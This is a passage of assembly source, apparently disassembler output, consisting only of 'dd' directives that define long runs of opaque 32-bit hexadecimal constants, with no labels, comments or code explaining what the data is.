		dd 0D5F880E5h, 22F146F0h, 0F7FF42DCh, 529397C8h, 99BB7F3h
		dd 18780404h, 0D9376DADh, 90F981C0h, 0AF09EAA5h, 0D50802B0h
		dd 0CCA1F2EEh, 0E7CF4491h, 5E22ADFFh, 0D0F2F1B1h, 35FD551Bh
		dd 0DC8ACF76h, 58BD8D45h, 0BDE1B16Eh, 11CE928Ch, 0EB7212Dh
		dd 0DD07C99Ch, 564DB8DBh, 0D41A0903h, 0F5E027C0h, 80B52898h
		dd 5CF819FDh, 1C9BF3F3h, 1ADD9F99h, 0E77905E4h,	0F86D2EE0h
		dd 0A1F38C44h, 6D895A43h, 0AEC4F0E2h, 0B084ADDCh, 38BFE828h
		dd 0F626F816h, 2580B993h, 0D0A5F508h, 27F9CF2Eh, 8D8D755Ch
		dd 0AFF80BFCh, 713D3328h, 55C87127h, 0D5E6D614h, 799BC936h
		dd 28749D0Ch, 0D7E09EFFh, 0BE025863h, 35C2EBBFh, 79DB26E6h
		dd 7712250Ch, 0D79783FDh, 0B402ECD5h, 0EA14AFF2h, 0ED14E845h
		dd 7EAD313Ah, 2F6A7137h, 9B4BE604h, 87A658F4h, 5C7B4EBAh
		dd 798A5B57h, 25979D1h,	0F4D3E6B5h, 9A431F59h, 67B7E37Fh
		dd 0A17F1268h, 68F8568Ah, 79EC34DDh, 0B6BA1F48h, 10013214h
		dd 0C01D75B8h, 7281A0Ah, 4A7A1F69h, 5CD1B8BCh, 9A6033E1h
		dd 77FF2D49h, 76C2408Dh, 0F649DA80h, 1042A18h, 4A8D315Ch
		dd 1086254Ah, 6BE73ADBh, 3CBC9D57h, 7DD8535Bh, 0EA1A4A18h
		dd 78D33039h, 4C0DD4B0h, 0C67DF3D3h, 25A190E5h,	0D85977D1h
		dd 788DCDDEh, 0B96812F9h, 0DC5EA684h, 0FDCDC329h, 7D818931h
		dd 4E380557h, 21B13544h, 0E481F19Bh, 0B9EB7FE0h, 3207FEDAh
		dd 0C72E240Bh, 8A5D16F3h, 0E044AFFAh, 684B0802h, 9BDDD161h
		dd 65EF4193h, 95CABF24h, 4656B05Ch, 0C970B181h,	36E0D86Bh
		dd 0EE9D11FEh, 5A2D96ACh, 20111CBAh, 0F1DAA04h,	17ED7EAEh
		dd 614EC73Fh, 0B19ACAA3h, 1DC7FB32h, 262D3532h,	0DD820039h
		dd 0C6F91EFDh, 9DEC3861h, 814BA77Fh, 2F29248Ch,	380F3FF1h
		dd 0FDDA1AA7h, 915D60h,	0F7F0BC12h, 6E529604h, 0CE4080C3h
		dd 0AA99A6D6h, 0AA02834Ah, 5698C0CFh, 8CC083CEh, 43F225E5h
		dd 7E92929h, 67E59292h,	65BA14h, 0E8BB78AAh, 0B5BFE31Bh
		dd 32AE1732h, 0AFD1BBEBh, 4009074Dh, 6EE48D22h,	7FDB193Ch
		dd 0C0189C0h, 6900742Bh, 0C87B515Eh, 0C464C330h, 2C07CDD8h
		dd 218D1213h, 0CFD05884h, 7363529Dh, 5EBC3C9Dh,	0C4B7FC49h
		dd 0F53EFA02h, 3CF13CEFh, 51F7AAA9h, 3E25F95Eh,	1A62AAB7h
		dd 1C41A456h, 8D1A7B80h, 0F04A6E85h, 715F1DD0h,	6182DF8Fh
		dd 2C4E8D12h, 9B4A174Ch, 771934C9h, 0EF10D74Dh,	0C660D598h
		dd 0EACDDFE1h, 23D2B97Ch, 0B5FD1F71h, 770ED7AEh, 4BF278C5h
		dd 0F3D900E6h, 3FA97F3Bh, 558FCEB3h, 4BEAD4F3h,	448B7799h
		dd 73EEEEDEh, 8C0119CDh, 228B5E72h, 0DBAF491Ah,	676A1333h
		dd 0E84CFF8Dh, 4C4EC006h, 3ECFD4FCh, 81E1EB53h,	0C6AEE328h
		dd 986DF19Ch, 608F6749h, 95EE65B8h, 8DA9CDA7h, 57051B3Ah
		dd 0ADEB4529h, 703CA6A4h, 0D867F804h, 0F9BA4A09h, 9F6D01CFh
		dd 0C37EEFB6h, 0FDB63E4Ch, 0C367064Dh, 0FF47E4CFh, 94C28CCAh
		dd 0F7BDCD4h, 6F78CF44h, 0A8EBBB5Ch, 300CF3A6h,	0DE350E85h
		dd 0AB2B4BFh, 4BD8B4DFh, 284E58FDh, 1E38E43Eh, 0A6354AE3h
		dd 21560CB4h, 6219C882h, 55A3E65h, 0B081EB6h, 3A224AD7h
		dd 0E7E44B4Eh, 0CB264566h, 9142901Bh, 5624AB8Bh, 8EAB74FBh
		dd 0AC7DE968h, 30BF8D40h, 5AFB53CCh, 0EE5F2922h, 8AEEED4Dh
		dd 0DD49548h, 583001B2h, 0D73CD4EEh, 0EDDD3E0Eh, 2E51DB97h
		dd 43C816BEh, 9CA547F0h, 1D152A60h, 18BCB6CEh, 0AD0F7699h
		dd 0DDAA5169h, 3A59DEA3h, 0FEDD9FFCh, 481F3852h, 1C463A92h
		dd 88ACC585h, 7E1CA1D1h, 9DD3278Fh, 99EDACDh, 4AC56CE1h
		dd 273B8621h, 52CC354Eh, 0DE98EC3Fh, 9238425Eh,	29BA83CFh
		dd 99FB826Eh, 524DC995h, 83E140BDh, 983454FBh, 11DEE59Dh
		dd 4CF2BA7Ah, 348FBCFFh, 64416055h, 9C81465Ch, 0FFF67E7Ah
		dd 0F69F5D02h, 36471916h, 0EC9F5780h, 0A83B198Fh, 0AE9DF0A2h
		dd 0CA9DEE63h, 7B7973AEh, 0D1DF7B59h, 0B1B9B875h, 692ECB41h
		dd 0C62A970Bh, 59DC421Dh, 860B8ED4h, 75EE3633h,	0EB1495E3h
		dd 83EE014Fh, 0C1D895CCh, 0ADF76B93h, 1804C95Fh, 32B42FB4h
		dd 91B070FDh, 0C646EE76h, 0B15956ADh, 55468D80h, 9B0F1DC3h
		dd 550C5632h, 41DFF86Dh, 4C390E77h, 0E232870Dh,	5F23BC71h
		dd 535377F9h, 5248070Bh, 0E620FC10h, 5367D62Bh,	0E7699F2Dh
		dd 80750405h, 3F9F3895h, 2D418427h, 646EE4FBh, 0EEEDB2FFh
		dd 3277A036h, 8CA6BBC5h, 0A8C1DFh, 320935B6h, 7B0901DBh
		dd 0E1A28AE1h, 379135B1h, 3442A48Ah, 5295465Bh,	0E4C40DC7h
		dd 0E709DAAAh, 33F6AB0Fh, 4B283A11h, 6366BA06h,	7672DB6Dh
		dd 1AB912A9h, 0D73E5756h
		dd 517F5F8Ch, 0A55A733Eh, 0DEB13AF1h, 0A485AFF9h, 7CFB7669h
		dd 9F079194h, 33614413h, 3A4F79BCh, 0C47F5163h,	9895586h
		dd 0D8EB8232h, 4FB05364h, 61AE449Fh, 0C7D3259Ah, 0AB35C67Dh
		dd 0FD3CF1C6h, 0F6762DC2h, 0EF4BA8E6h, 21FA7AD7h, 915064F7h
		dd 0B0343DA3h, 0B90BAC09h, 7340BC2Ah, 4E02933Ch, 0E1F7A0B1h
		dd 0C2CD23ECh, 1F6D94A7h, 5B618811h, 4E3EF971h,	12906BE2h
		dd 6EDCF159h, 8A518D64h, 6A711D55h, 0BFA43E51h,	8950AF63h
		dd 1DBD0079h, 647089CCh, 0B77B080Ah, 0DED5A85Ah, 0A3519239h
		dd 677CF3C4h, 0D960FCABh, 5844BC2h, 203B736Dh, 0C103E0BAh
		dd 0DACF52A4h, 77B8C8E5h, 3160D08Eh, 0B1E4510Dh, 0A2C51FC0h
		dd 0CBE106F8h, 0CF1828E2h, 13586514h, 817B3BAAh, 0B6FE2A7Bh
		dd 0E66D666Fh, 0FFE13AA5h, 9E3F5ADAh, 3E022DC7h, 0EFF299A2h
		dd 0EC35B802h, 0D5825C56h, 0E115B1FBh, 58442E5Fh, 683716A9h
		dd 715D5D00h, 837ABA14h, 0C045684Dh, 0F7B91DEAh, 7E44A0DBh
		dd 0F407F992h, 3889037h, 0C94EA198h, 0CD199C4Ch, 2BD825D0h
		dd 0D677FA9Ch, 9BDAA837h, 0F3DA0326h, 1020A987h, 78BE6384h
		dd 0D37D3137h, 27720A6Ch, 4E4D335h, 0BCCF378Ch,	0E3A8B1F6h
		dd 309F3D16h, 0CC59A420h, 3B8F64F6h, 0A4D21B8Ah, 71ABA6DFh
		dd 0CF6DDD75h, 6F5F5A67h, 48C08520h, 4C4B71A2h,	47F2B709h
		dd 2FA6C6Ch, 574DF6B9h,	0D8F58737h, 8BFDBBD9h, 0FB497034h
		dd 0D3475D91h, 0E844C60Ah, 0B61599Bh, 0DDDFABCAh, 5FC26C7h
		dd 7ECD297Fh, 0E1F48EA8h, 66F41D68h, 533DFF0Eh,	3FC02F5Eh
		dd 63896577h, 798B2A9h,	0C1D4ED1Dh, 5C433583h, 65438ABh
		dd 4AB29F00h, 32FB3CC7h, 0AAC86A81h, 14598D62h,	0A3C73320h
		dd 0DF2E61Fh, 0BD71C012h, 70189C1Eh, 3E395368h,	83500938h
		dd 0F3EC1E08h, 9765781Eh, 393C5AC2h, 35ECED0Eh,	9A888CA0h
		dd 8D46BDEh, 7B925A4Ah,	1D0BAE3h, 0DE6F79EDh, 101B28C4h
		dd 38A4A14Ah, 303671B7h, 0A0071B43h, 788D4C36h,	5FAB9F3Fh
		dd 363DF6FFh, 0B3EE7762h, 8B984BA4h, 62A99E2Dh,	99A6DA5Dh
		dd 0F531F246h, 0C8352E60h, 1D3AD4B3h, 0C8A949EDh, 22E7A478h
		dd 75F468AEh, 132A05DBh, 0C800F935h, 34E8CA48h,	8A8C6A00h
		dd 8AA860AEh, 0B0F17208h, 8DBCAAEh, 0F6A9960h, 6AC8509h
		dd 3AE309F9h, 0F0F39B55h, 723EFE7h, 0BF1E582Ah,	1E470F8Eh
		dd 5DD1734Fh, 0B1E9BE7Eh, 7E4E8FECh, 0B44B4C8h,	0BBEE27B9h
		dd 0DD6DEFC1h, 495D3DF3h, 0E729714Ah, 0DCA6F2C4h, 0A730DD07h
		dd 573611CDh, 920BB6DFh, 24128B0Ch, 628B1D46h, 0F83619BBh
		dd 0A8C465CEh, 0D5D81937h, 0B781219h, 0E54D89Eh, 34C09EBCh
		dd 93D199B0h, 0C72F3DD6h, 0E141AE4Ch, 0E044B27Bh, 0EB9E78EEh
		dd 0A36BC266h, 0EA307E63h, 4B322301h, 0BD19BF1Eh, 0FF00E142h
		dd 0A56EDA94h, 11349839h, 0A1C36C06h, 581DE316h, 6C272303h
		dd 6066C4B2h, 77DB58CCh, 3E682C1Ch, 2583D61Eh, 7FCF3E81h
		dd 0D4FD8FCDh, 0E1E2632Eh, 5A3FC80Ch, 0F8BEB87h, 34D00586h
		dd 913F01ECh, 0CFE23162h, 0E3D4C77Eh, 0F3DF3626h, 153419DFh
		dd 26BE6127h, 0F333C501h, 51D8CC84h, 2A3E00C9h,	92E2F00Ch
		dd 68DB488Eh, 4B463164h, 3C1012E2h, 9A2E9B9h, 30A8201h
		dd 0D9887299h, 0FD7FC713h, 0E4F0F5D1h, 1B89A9A6h, 5E384E4Dh
		dd 0F3696093h, 1C3E6795h, 99DE1412h, 78F2D34Bh,	1AE3FF99h
		dd 6262E80Ah, 8CA4186Dh, 9267984Eh, 3FF55EA3h, 27991B9h
		dd 0A0E91CBh, 3A400402h, 37F3C4E8h, 0E0146682h,	0E7654440h
		dd 122E32FCh, 0C84F4632h, 0FB48B0D0h, 0EF9DC548h, 2CD1BABAh
		dd 671D69B0h, 0C65A120Eh, 7A83730Fh, 0B53593B7h, 0E9512589h
		dd 7852F347h, 0A961931h, 0D8E043F1h, 0E1C475D1h, 4C92EABh
		dd 21038B5h, 23F4330Bh,	2189C748h, 25B160DFh, 68090093h
		dd 0F69BD61Bh, 0E3AFA9F6h, 0CF253160h, 0EBE5581h, 33645C17h
		dd 2A1C2993h, 0F53E9FA2h, 8A359E39h, 8D4D5300h,	3E2DFF28h
		dd 0B2C2DBD4h, 54BE44ACh, 17C306C3h, 8CD4E25Ch,	0E3563FFBh
		dd 50A03557h, 6687AA14h, 0C06B46BAh, 0D4772A4Dh, 1F9BCE05h
		dd 0D158200Dh, 183959B9h, 7DB0209Eh, 0A45C5DBAh, 0E858C59Dh
		dd 0D03E60E5h, 0A6225BFCh, 0C0A5250Ah, 9478E60Ah, 0F869D2D9h
		dd 0CE9CD0B0h, 160A9DA0h, 429811FAh, 0F92EA357h, 0EC85B854h
		dd 0E93E809Ch, 4EA480FAh, 8465FD9h, 2498D11Eh, 3ABE7C34h
		dd 15E457B2h, 6AFE0236h, 8CE57802h, 0E10571Dh, 0A778B690h
		dd 9211CB60h, 9D5CA6A4h, 42757516h, 8B247774h, 8001A8FEh
		dd 0E2E8426Ch, 4F5FA68Bh, 0A41ED794h, 809AFA4Eh, 0DBFFBE19h
		dd 1CBD9741h, 3235316Bh, 0ED549EAEh, 0F42F269Fh, 42BD6E7Fh
		dd 4A7C82C5h, 0FD4D607Eh, 15BEF15Ch, 92BBCC69h,	4EC6B53h
		dd 0ECD1A7BEh, 0CDEF2507h, 2091B3B8h, 59D567C0h, 580EB3A3h
		dd 6855DF7Fh, 0CA4DD2C1h, 9A41DBE4h, 69398625h,	0A403DFF7h
		dd 83D81744h, 0EDDDEA84h, 9DFF7840h, 0A3FB4A2h,	0FD0EF811h
		dd 0DB4588FBh, 40B71978h, 2B85584Fh, 0A2427EF8h, 597079B1h
		dd 47B0FE8h, 46687A8Fh,	7BDBDAB4h, 0E85E6AC4h, 2C7F9763h
		dd 46F51D24h, 640410A5h, 0AC86D27Ch, 0FEE0E8A8h, 6B37F7CDh
		dd 0E486DDAh, 632D13C9h, 0F93BA74h, 3027D591h, 53540AC7h
		dd 8053A5F4h, 0CD8245C5h, 5CE259A5h, 72DB6FD2h,	982647AEh
		dd 22848DBEh, 653A0701h, 0DB5986C7h, 0DC93DC6Ch, 0A92AE9FFh
		dd 63560CFFh, 60274AF0h, 5B849763h, 63B510C5h, 0FE271E3Ah
		dd 7CBE6897h, 0D9C5C778h, 136FD32Fh, 54AA4D5Ah,	0FECB3065h
		dd 201A9701h, 36BAD3h, 3BF67ADh, 32DBCAADh, 0CBA3468Fh
		dd 5EC0ADB9h, 859928DBh, 0C52B6FF2h, 0D62A60CDh, 8CE7C8D3h
		dd 0F00517CDh, 61F77A67h, 0C3B58906h, 2E5BF60Fh, 0B61C6E3Bh
		dd 48C0A2A2h, 0BC114317h, 0B0959E92h, 0AE268CBBh, 1DC420Ah
		dd 795C0851h, 0C93819E2h, 16090749h, 0C761A22Ch, 0BAA1AA37h
		dd 97F8E1E7h, 65910885h, 3F9B37D3h, 0C01179Ch, 3300D558h
		dd 5484D1EEh, 3A5C5608h, 8B5D0E85h, 47C50CE8h, 82DFEC83h
		dd 0FD9E3D7Bh, 0FEA6B5D1h, 3851469Eh, 0A3FE93BFh, 0B2ECBAA1h
		dd 5435E760h, 0A2B36BD3h, 0D8CDE4D8h, 16C13E57h, 9BCE6987h
		dd 7972DC98h, 4E62403Bh, 5763A01Bh, 6C1B2E65h, 0D4C77B79h
		dd 0B3E86837h, 1D5E3922h, 0F8624FEh, 79D5DFBEh,	65196025h
		dd 89AA7DC0h, 9F5EDE91h, 2951E6A5h, 8C263695h, 9C2AAF93h
		dd 91C8457Fh, 5F77D6F6h, 0B61DA57Bh, 0B26D54FCh, 29BA2E3Eh
		dd 0E2C01308h, 3005D9AFh, 0B2A179B2h, 3E931811h, 0A3F1D983h
		dd 6EB0FDAEh, 0B47E7F36h, 8BF7E0A5h, 0E9DA6D50h, 9D6BC4A3h
		dd 0A20D1797h, 51CB495Fh, 5A26F248h, 3AA18388h,	163BC46Ch
		dd 3A090CDEh, 0DC0F2CCFh, 3DC269Eh, 0AA600A9Eh,	74DE26AAh
		dd 6B859499h, 1D98D2E1h, 0C94C1B0Eh, 0BE21BA32h, 34395266h
		dd 0A7A4A0F4h, 1174F2B4h, 4F7A4E51h, 4CA6FBBDh,	723001A4h
		dd 61FBC3B2h, 518F6E76h, 0F40B457Bh, 1CCD480Ch,	0D813B7C3h
		dd 0BDCEF267h, 22172B40h, 0FE8E81F1h, 0D43786C2h, 1003C2AEh
		dd 853D4B7Dh, 0D1FCA8DCh, 0CE0D8B2Eh, 477C3FB1h, 16DB6C98h
		dd 0FE1A188Ah, 412DFEDBh, 0FAA760F9h, 147027ACh, 171857F5h
		dd 0B1BA056Ch, 61CD871Eh, 81C85523h, 23C49123h,	0D9B5662Eh
		dd 2F71F377h, 1A67D3FBh, 3EA3616Dh, 90E991A4h, 9DAD5AC4h
		dd 0E44309F8h, 3DF4E267h
		dd 3D11FDE5h, 0BDA8E09Ch, 6BD5DBEh, 0DB4C324Ch,	0ACCB765Dh
		dd 0D6E09EE8h, 0B4BCA90Eh, 764C94C0h, 84A8798Fh, 0D62C14E3h
		dd 16F242A0h, 330052FCh, 6269496Eh, 0CC8C300Ah,	76DE17C4h
		dd 0F5CC2151h, 6FB5BD5h, 51149481h, 8BEB0DD3h, 0E34DA307h
		dd 0B3098E33h, 0F4922298h, 0F641522Eh, 41DAFF0h, 4FB7A689h
		dd 2B09E1D1h, 495CA163h, 0B205293Ch, 0D7A856FDh, 0C0B69139h
		dd 9FF69619h, 0D324AF6Bh, 73352898h, 5067B443h,	55266C42h
		dd 7246C9D1h, 8149260Fh, 0EDC4DE49h, 0DC320E0Eh, 66D8C8E0h
		dd 0A02940FCh, 0CD9274BDh, 0BD810032h, 0D544D248h, 89E8343Fh
		dd 987D041Ah, 8B29567Fh, 0A58CEE6Fh, 9A76D933h,	688758D9h
		dd 1A94F268h, 34CBDDE4h, 5CA4EE1Dh, 0BD56D9C2h,	0EAD252F6h
		dd 0CD47DC25h, 0E076B67Dh, 6CE56544h, 0C54AE39h, 5E952A9Eh
		dd 0C67AD846h, 78E52612h, 0D1EEF0A4h, 9CC7FA2Fh, 0F8AC9AADh
		dd 0ADAB0615h, 0D523F7F7h, 5D10CFC1h, 4E0B2DE7h, 0AC9B7F59h
		dd 0DE75FAADh, 0ED99200Fh, 15F6E4AAh, 74FF1AD9h, 0AAE0AE94h
		dd 10032EE5h, 43EC4ED3h, 0C1804639h, 0A4EFC9A5h, 0AEA3F5FDh
		dd 0F33B7391h, 110E4460h, 19160303h, 6C303BF7h,	48F81693h
		dd 608ADF4Eh, 1EF012EEh, 0DB0804Ch, 0DC3F3E35h,	7A3B2F1Dh
		dd 21B3DD32h, 38D35186h, 2DF5C9A5h, 0CADA164Bh,	3747102Bh
		dd 0A5DDC64h, 636D8CC1h, 38AC9989h, 6FDF3737h, 0F9C3E7E2h
		dd 600B014Ch, 9FEE15F8h, 9EF92962h, 0B87FC747h,	4DB7B52Bh
		dd 0DAA5B340h, 24D2163Fh, 376FD471h, 92549611h,	324104Dh
		dd 0E3E253C5h, 6DB30107h, 62AE2E26h, 2F22F0C5h,	763D8C75h
		dd 2681E549h, 9C3EDEF7h, 0E662C8BCh, 0F937EFB0h, 92EAF380h
		dd 4BE937D4h, 7DA9B8FAh, 994F63D4h, 2595CA44h, 78EF4864h
		dd 9A48EFC4h, 87CC1424h, 0D4D1BF14h, 323C61AEh,	3E4D0CBFh
		dd 0B88AF77Ch, 29CE6CE9h, 924B15D6h, 62E45F9Ah,	0BE2CFB59h
		dd 61D43E0Ah, 0E0200D2Fh, 4498046Eh, 7FE85AB6h,	1139E330h
		dd 89CDA252h, 0E8C3B9Ch, 0B1D843C2h, 0E5505E1Fh, 6A95E62Dh
		dd 7E4B99FEh, 0BB1667B4h, 8E735602h, 13451C03h,	7A57EFh
		dd 0A7ADB48Ah, 0E2E185D4h, 1CD3A218h, 0F67D6E78h, 628263A1h
		dd 808CF30Eh, 0B40FB703h, 0C039D2D3h, 17AFE6EBh, 1A849DB1h
		dd 26FE91A9h, 0AAE30153h, 0DA544FEDh, 0AD1FA16Ch, 1AD2CC95h
		dd 7BD40A7Bh, 8E30C837h, 7DA64428h, 0F7EE05A8h,	794A620Eh
		dd 0D671490Fh, 107C6A87h, 0BC611ED8h, 724AA1A2h, 0BE767B6Eh
		dd 0FCA40E87h, 0D1068263h, 8B39AAD7h, 223ACCE7h, 7F9D5622h
		dd 2D57145Fh, 0A3D86747h, 0EFD0C51Ch, 9985CAAFh, 0C0650881h
		dd 0CA8A6B3Fh, 94204FA0h, 7F8392DBh, 0A8E5D260h, 0A7BAF093h
		dd 0A6A7B09Bh, 854B8994h, 0D2BC8556h, 0E74E2Bh,	6AD49F31h
		dd 4D795F41h, 0BBDEA4A8h, 472B1CD9h, 3C7D2934h,	34CE1617h
		dd 36D84EB2h, 25BCC1BFh, 0CDC04F8Ch, 70EBE6C1h,	5B279354h
		dd 42FF0944h, 11A3967Ah, 10ED32FFh, 0B223A659h,	6BE3B0C7h
		dd 17433A28h, 1B5868FDh, 7F627E71h, 0E55F37A1h,	0B3CBCB69h
		dd 5E8D9722h, 0CA0E78A6h, 5188238Dh, 0ED510C99h, 0A73B76B2h
		dd 8621FD05h, 0EBA01088h, 6D873D7Fh, 568027A2h,	6396C9E4h
		dd 9EC5BF66h, 5ECB012Dh, 0D43A5EF7h, 4A68D52h, 54DF0AABh
		dd 0BA689081h, 737462E8h, 0EBB6BF0Ah, 97206F62h, 3D926D08h
		dd 0B4E8718Eh, 12C1053Eh, 0D7150585h, 4664B685h, 2D4CE053h
		dd 567523D7h, 57560B2Dh, 45D3CE3Ah, 8D7E48h, 19A9DDA7h
		dd 0BDB7D164h, 7B3106ABh, 0B6C6D785h, 0D22EA4C2h, 86D36BC9h
		dd 3A405357h, 0D24F5293h, 2D291B82h, 8B806F78h,	3778B677h
		dd 15ABC2A4h, 31CA9064h, 0BA3834ACh, 0FBFA4960h, 0BCBD0E54h
		dd 0CAF79092h, 0B8D46C87h, 0DC9941E1h, 0FB3F7CD3h, 6D34D44Ah
		dd 0C7D5434Ah, 0B676DFB3h, 74EAA12Eh, 0D27700F4h, 395967Ch
		dd 1975EB56h, 0C6EC6414h, 0DB8A1497h, 0FF2DE75h, 51E02684h
		dd 54FBCAB0h, 6988DD2Fh, 64A7B6Ah, 0F82AC0A3h, 0F0AECA5h
		dd 0F48841AFh, 0D768EA50h, 52337906h, 7E3EF976h, 80D4C73Eh
		dd 4AAFA8C9h, 3F5FA793h, 0F25262B3h, 0D09FA8ADh, 6C6DA676h
		dd 0D6B3464Bh, 38967B80h, 87F28401h, 0DD314813h, 4AE5AFD6h
		dd 190A5900h, 0B83BB060h, 880DE4D5h, 7CE35C36h,	4007DFC5h
		dd 667C0B5Dh, 0C1801C15h, 3EAAF4B6h, 74B6767Dh,	1C26095h
		dd 5E453E0Eh, 616E0D04h, 0AFEC5682h, 36209AF5h,	41CD2478h
		dd 0B734A772h, 0E7A3E59Eh, 0B84109CAh, 0C80449B0h, 19C9E6E1h
		dd 0BD3F01FBh, 34E52CDFh, 0E206F9A1h, 0B6EB07BBh, 3C04F032h
		dd 0D0E7CCB2h, 9181B9ADh, 26A2E043h, 2C9E28ACh,	1DA3AFB1h
		dd 232A9B18h, 0B0F6434Ch, 0B7A5AC62h, 704E2011h, 753EE390h
		dd 0B34CE923h, 52037A07h, 0F51566C8h, 0EF2E6B9h, 8DC26019h
		dd 46E73627h, 98DAA67Eh, 8F27D46Fh, 9B3A83EAh, 680162h
		dd 0FFDFE852h, 0C4F5431Ah, 0F1B09628h, 9ED08A7Bh, 9B36293Dh
		dd 840D079Ah, 0E55DD6ACh, 0EC317055h, 1905ACAEh, 11B84C44h
		dd 0F33C7975h, 2ECEF825h, 1F782068h, 4A5D8ED9h,	0ED656F94h
		dd 5BCD07AFh, 7F42AD23h, 1CFC0A40h, 51D8C1FDh, 75126DDBh
		dd 2B2A3038h, 0AF40A237h, 0ACDDEA09h, 0A7FB70CDh, 0F142A23Fh
		dd 0DA6CC46Eh, 7648958Ch, 956F0D0Dh, 85C545A6h,	2891EC56h
		dd 44BFE57h, 6D520E9Eh,	0D49E22F8h, 5A53CD1Fh, 0E87E874Dh
		dd 7596C7F4h, 0CCEF1189h, 0F548C955h, 3D70137Ch, 649A0F7Ch
		dd 0B01C5792h, 0C2619CC4h, 8CA44447h, 0D2D1B8F8h, 0C8D8FF9Ah
		dd 764303FEh, 79BA34D9h, 15CC7E4Ch, 697B2F34h, 0EA90880Ah
		dd 70403E48h, 5621C117h, 30677Ah, 0D2678347h, 4392982Ah
		dd 29CDE848h, 0F7450639h, 6EA452A7h, 0C7920D78h, 0F01F4147h
		dd 0D834336Ch, 0D8379BF8h, 73DD6458h, 6592852Eh, 9A9B6346h
		dd 8B1E1191h, 0F1EAFC18h, 49866C94h, 0A5CF5EBh,	0A8330507h
		dd 0D5B2E082h, 4DD98B0Dh, 0B2C6790Ah, 26B3BA7Dh, 0B8FEAE6Ah
		dd 0BEEFCD7Ah, 0CDF57BB4h, 6CE6435Ch, 72B2723Bh, 6930ADE2h
		dd 4569B93Eh, 19EE55FCh, 3E6D7E3Dh, 0B6B96982h,	59978A8Ch
		dd 0BCA81E8Dh, 9056D0EEh, 1EED25DCh, 9D762924h,	2A058267h
		dd 498FAFDBh, 76768B08h, 0C0E3EEFCh, 57106A42h,	73D6DE30h
		dd 0E001C92Fh, 74980556h, 23DFB9h, 20DDE356h, 684977AEh
		dd 0E5019BEFh, 57619D43h, 2FFA54F0h, 0D2A18AFCh, 9F15D32h
		dd 66BB0CFDh, 0E50404D1h, 803013B5h, 51937AC3h,	20F0968Ah
		dd 3E11B2CBh, 2944B3C7h, 9D29BA32h, 700339C8h, 415AB2DAh
		dd 5874CEFEh, 26F3AD47h, 35AAA5AFh, 0C9FB29A7h,	0E89DB631h
		dd 32664570h, 4937B992h, 8998DC80h, 25136229h, 0CB520726h
		dd 52A617CBh, 0F439531h, 0C3BCBC8Ch, 0AB639887h, 7D977F4Fh
		dd 88A39C50h, 0ACA772FDh, 460619F2h, 0D52C01C0h, 3A3ABF5Bh
		dd 25FC7034h, 1FC0022h,	5B3DA608h, 0BB82714Ah, 6F5A9170h
		dd 0DD335C99h, 0CB2449Eh, 0C80BB4AFh, 89F0EFA4h, 0EBA6D776h
		dd 0D51BCFB7h, 4FA3E6CBh, 95C9B70h, 8F26BECFh, 0C68ED27Ch
		dd 250DDD05h, 0FE90DFB7h, 64934706h, 0A11F725Dh, 4D61AE5Fh
		dd 8D4D9570h, 93597763h, 493AE395h, 4D372BBBh, 0AD7E8CA5h
		dd 474AC709h, 1CEEB575h, 439B9859h, 848474E6h, 0C7BB2B67h
		dd 0CBBF6644h, 4844014h, 33E8C83Ah, 10963554h, 9B0F8CAAh
		dd 0DACA34B0h, 9985C89Dh
		dd 74B778A1h, 6808A8F5h, 7A202F62h, 93588EB4h, 0F7B223Dh
		dd 39EED259h, 8630834Bh, 0E1EC8C0Fh, 3F224A6Fh,	0A0BBE5A3h
		dd 759BDC4h, 1BAD7620h,	0A3A5C90Eh, 831734A7h, 90F9646Ah
		dd 0B3FBBEEDh, 0E7335987h, 0FD5343C3h, 0AEB7313Eh, 0B52662EDh
		dd 0AC095D66h, 874B5F6Fh, 8173646Ah, 38F236AFh,	7FAAE023h
		dd 9FDD7A82h, 0C9161BC0h, 36EF5B42h, 0C112F5DAh, 0A0304271h
		dd 5DF64280h, 61141E88h, 0EDF9EC1Fh, 818BC9Eh, 0E2F52CEFh
		dd 0BBA0146Ah, 9D63D152h, 0B3776977h, 26689D10h, 69FB35E6h
		dd 0A1AFD87Eh, 0ACAFB721h, 0C65D43EFh, 5EA6E0E5h, 59099FB3h
		dd 159DE118h, 1B78989Eh, 0C26671D6h, 9B082344h,	0CB702B70h
		dd 1D5329DFh, 8BA897B7h, 0E57A8168h, 0C4B5A1E0h, 39BFBEABh
		dd 9DE6B79Fh, 6723AA0Dh, 5FBDEE30h, 9A2E6D8Fh, 1239B7F5h
		dd 45280F49h, 0B2F23373h, 1B132C4h, 0CD17D464h,	0B618DD98h
		dd 0D9EE7FF1h, 0B01A3A9Ch, 9E3740B2h, 0CEA8F4D2h, 0BAAF5316h
		dd 6BA0DD6Ah, 4D387130h, 49561AF8h, 88D99C3h, 0C00A74CFh
		dd 0C87F86D3h, 282587F3h, 0B582F117h, 0BAE20308h, 0E94DD332h
		dd 608D753Fh, 0A4DF9E36h, 4660EF62h, 47FB5562h,	8088AC96h
		dd 0D513F26Fh, 0ABA36CB0h, 916A3298h, 660B65E5h, 225CB2C5h
		dd 6DBDBA9h, 0E53A9FDFh, 0E81BE3ABh, 3D8C56A4h,	35AE116Ah
		dd 0C0B9286h, 0D24C9C10h, 27D1A1A5h, 3A2CB461h,	0C5033C58h
		dd 0F8C5A08h, 0FA3FFCF3h, 2E92DE55h, 37F9D4B0h,	6BBFEEA7h
		dd 0A306DDE2h, 2ECBD88Ah, 0C1479E59h, 69EEF8FAh, 76B0B03Bh
		dd 8BE9D99Dh, 232DFDD9h, 0A49CFAC6h, 84CA6700h,	757DA389h
		dd 6A3C7F81h, 6AF203DEh, 83AF7872h, 5A20CEA9h, 82651F19h
		dd 42CC29Bh, 0CB3E145Ch, 0EBCF8CC1h, 3DDDC712h,	84349008h
		dd 447BA893h, 3566404Dh, 995D23E5h, 7FECDED4h, 0D7FA0D88h
		dd 0B6A7AFE7h, 597CDE4h, 4B74F1A2h, 61C2D2A1h, 0DF7A8904h
		dd 25BE22FFh, 4EDAE1E6h, 1932CB02h, 6A8B3194h, 4E50E5A3h
		dd 6D3AFEE2h, 7BB90D56h, 85DE6913h, 0B49C5403h,	2FDF156Ah
		dd 0EA7DB53Ah, 92CBFD75h, 9BA94BA1h, 52E10999h,	0B97630E7h
		dd 1864CA1h, 0C064289Fh, 0FD915A17h, 0E3E5C866h, 0A2D79CFDh
		dd 0B52A84FFh, 0E431E5CAh, 0FE2FE6E9h, 5D0A1463h, 1A1BDB3Fh
		dd 1F61C7E2h, 0B57E35E5h, 0A59ED39Fh, 2552CFEBh, 0CFC901B2h
